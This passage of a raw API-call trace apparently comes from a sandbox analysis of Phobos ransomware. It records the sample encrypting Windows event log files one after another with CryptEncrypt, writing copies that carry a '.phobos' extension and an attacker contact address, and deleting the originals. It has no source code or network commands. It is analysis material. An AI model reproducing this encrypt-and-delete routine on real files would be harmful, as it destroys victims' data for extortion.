(lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.928] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cbf0) returned 1 [0059.928] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.928] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0059.929] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0059.929] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0059.931] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cfb0) returned 1 [0059.931] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.931] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0059.931] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0059.931] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0059.932] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0059.932] CloseHandle (hObject=0x33c) returned 1 [0059.932] CloseHandle (hObject=0x2e4) returned 1 [0059.934] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0059.935] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.935] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0060.309] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0060.315] CloseHandle (hObject=0x33c) returned 1 [0060.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0060.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.315] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0060.315] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0060.315] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0060.316] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.316] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d0f0) returned 1 [0060.316] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0060.316] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0060.318] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0060.318] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0060.320] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cdf0) returned 1 [0060.320] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0060.320] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0060.320] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0060.320] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0060.321] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0060.321] CloseHandle (hObject=0x33c) returned 1 [0060.321] CloseHandle (hObject=0x320) returned 1 [0060.323] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0060.324] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0060.324] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.324] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0060.324] CloseHandle (hObject=0x320) returned 1 [0060.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0060.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.325] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.325] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0060.325] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0060.325] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0060.325] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cff0) returned 1 [0060.325] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0060.325] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0060.328] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0060.328] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0060.331] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ccb0) returned 1 [0060.331] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0060.332] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xa0, dwBufLen=0xa0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xa0) returned 1 [0060.332] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0060.332] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x152, lpOverlapped=0x0) returned 1 [0060.332] CryptDestroyKey (hKey=0x10cff0) returned 1 [0060.332] CloseHandle (hObject=0x320) returned 1 [0060.332] CloseHandle (hObject=0x33c) returned 1 [0060.334] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0060.335] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0060.335] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0060.335] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0060.335] CloseHandle (hObject=0x33c) returned 1 [0060.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0060.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.335] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0060.336] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0060.336] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0060.336] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.336] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d0f0) returned 1 [0060.336] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0060.336] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0060.338] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0060.338] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0060.339] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d170) returned 1 [0060.339] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0060.339] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0060.339] CryptDestroyKey (hKey=0x10d170) returned 1 [0060.339] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0060.340] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0060.340] CloseHandle (hObject=0x33c) returned 1 [0060.340] CloseHandle (hObject=0x320) returned 1 [0060.342] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0060.343] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0060.343] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.344] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0060.344] CloseHandle (hObject=0x320) returned 1 [0060.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0060.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.344] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0060.344] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0060.344] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0060.344] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0060.345] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cff0) returned 1 [0060.345] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0060.345] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0060.347] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0060.347] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0060.349] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ce70) returned 1 [0060.349] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0060.349] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0060.349] CryptDestroyKey (hKey=0x10ce70) returned 1 [0060.349] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0060.349] CryptDestroyKey (hKey=0x10cff0) returned 1 [0060.349] CloseHandle (hObject=0x320) returned 1 [0060.349] CloseHandle (hObject=0x33c) returned 1 [0060.351] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0060.353] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0060.353] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.290] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.290] CloseHandle (hObject=0x324) returned 1 [0061.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0061.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.291] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.291] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.291] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.291] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.292] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0061.292] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.292] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0061.293] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0061.293] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0061.295] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cbb0) returned 1 [0061.295] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.295] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0061.295] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0061.295] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0061.295] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.295] CloseHandle (hObject=0x324) returned 1 [0061.295] CloseHandle (hObject=0x33c) returned 1 [0061.297] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0061.298] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0061.298] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.307] GetFileSizeEx 